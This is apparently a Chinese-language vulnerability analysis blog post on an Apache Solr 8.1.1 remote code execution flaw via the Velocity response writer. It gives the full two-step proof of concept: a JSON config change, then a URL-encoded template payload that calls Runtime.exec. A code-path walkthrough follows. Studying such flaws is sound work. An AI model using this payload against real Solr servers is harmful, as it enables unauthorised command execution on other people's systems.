Apache Solr爆出RCE 0day漏洞(漏洞編號未給),這裡簡單的複現了對象,對整個RCE的流程做了一下分析,供各位看官參考。
複現版本:8.1.1
#實作RCE,需要分兩步,先確認,應用程式開啟了某個core(可以在Core Admin中查看),實例中應用開啟了mycore,
#然後先向其config介面發送以下json數據,
{ "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
#接著存取如下url,即可實作RCE,
/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
先去分析第一個資料包,因為是對mycore的配置,所以我們先把斷點打在處理配置請求的SolrConfigHandler的handleRequestBody函數上,
因為是POST的請求,跟進handlePOST函數,
#在handlePOST中,先取出mycore的當前配置,再和我們發送的配置同時帶進handleCommands函數,並在後續的操作中,最終進到addNamedPlugin函數,創建了一個VelocityResponseWriter對象,該對象的solr.resource.loader.enabled和params.resource.loader.enabled的值設定成了true,該物件的name為velocity。
然後在發送第二個封包的時候,在HttpSolrCall.call中取得responseWriter的時候,會根據參數wt的值去取得reponseWriter對象,當wt為velocity時,取得的就是我們精心配置過的VelocityResponseWriter
在後續一連串呼叫後最終進入我們本次漏洞中最重的的VelocityResponseWriter.write函數,首先呼叫createEngine函數,產生了包含custom.vrm->payload的惡意template的engine,
#惡意的template放在engine的overridingProperties的params.resource.loader.instance和solr.resource.loader.instance中
這裡有一個很重要的點,要讓惡意template進入params.resource .loader.instance和solr.resource.loader.instance中,是需要保證paramsResourceLoaderEnabled和solrResourceLoaderEnabled為True的,這也就是我們第一個封包做的事情,
然後再VelocityResponseWriter.getTemplate就會根據我們提交的v.template參數獲取我們構造的惡意template
最終取出了惡意的template,並調用了它的merge方法,
要了解這個template就需要了解一下Velocity Java 模板引擎(因為這個tmplate是org.apache.velocity.Template類別物件),官方說法翻譯一下如下,
Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象
從這個說法,就能看出這個模板引擎是具有執行java程式碼的功能的,我們只需了解一下它的基本寫法,
// 变量定义 #set($name =“velocity”) // 变量赋值 #set($foo = $bar) // 函数调用 #set($foo =“hello”) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg)) // 循环语法 #foreach($element in $list) This is $element $velocityCount #end // 执行模板 template.merge(context, writer);
有了上面這些基本的語法介紹,我們就能理解payload的建構方法了,如果希望更深入的了解,可以自行再去查閱Velocity Java 的資料,我們這裡不再深入。
於是透過最後呼叫的惡意template的merge方法,成功造成了RCE,最後補上關鍵的呼叫鏈。
目前官方還未給補丁,建議對solr做一下存取限製吧。
以上是怎樣進行Apache Solr最新RCE漏洞分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!